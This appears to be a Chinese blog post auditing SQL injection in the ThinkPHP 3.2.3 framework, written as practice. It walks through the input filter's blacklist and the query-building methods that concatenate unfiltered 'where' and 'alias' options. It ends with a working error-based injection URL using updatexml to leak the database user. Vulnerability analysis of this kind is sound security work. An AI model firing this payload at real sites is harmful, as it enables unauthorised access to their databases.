开始复现审计一下tp3和tp5的框架漏洞,当个练习吧。
涉及注入的方法为where() table() delete()等。
环境 tp3.2.3 :
0x01 注入成因
测试代码:
public function index2(){ // $data = M('user')-> where('username = "admin"')->select(); // dump($data); $id = i('id'); $res = M('user')->find($id);
I方法断点 跟进去看。
F7跟进, thinkphp/ThinkPHP/Common/functions.php
:
从283行开始看 首先判断提交方式:
...... switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; }
重点看过滤的地方
think_filter:
function think_filter(&$value){ // TODO 其他安全过滤 // 过滤查询特殊字符 if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; } }
这里基本就是成因了 黑名单过滤 但是有漏网之鱼 常见的updataxml()报错函数都没过滤。
跟到后面在函数 parseSet可以看到我们提交的字符串作为占位符:
protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $set[] = $this->parseKey($key).'='.$val[1]; }elseif(is_null($val)){ $set[] = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) {// 过滤非标量数据 if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set[] = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return ' SET '.implode(',',$set); }
_parseOptions
方法:
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合 $options = array_merge($this->options, $options); } if (!isset($options['table'])) {//判断是否设置了table 没设置进这里 // 自动获取表名 $options['table'] = $this->getTableName(); $fields = $this->fields; } else { // 指定数据表 则重新获取字段列表 但不支持类型检测 $fields = $this->getDbFields(); //设置了进这里 } // 数据表别名 if (!empty($options['alias'])) {//判断是否设置了数据表别名 $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了 } // 记录操作的模型名称 $options['model'] = $this->name; // 字段类型验证 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里 // 对数组查询条件进行字段类型检查 ...... } // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options); return $options;
当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。
同时$options['where']也一样,看到parseWhere函数
$whereStr = ''; if (is_string($where)) { // 直接使用字符串条件 $whereStr = $where; //直接返回了,没有任何过滤 } else { // 使用数组表达式 ...... }
0x02 复现利用
http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
跟到最后的时候还是有点小绕 delet那些方法产生注入大同小异 回来再写 上班~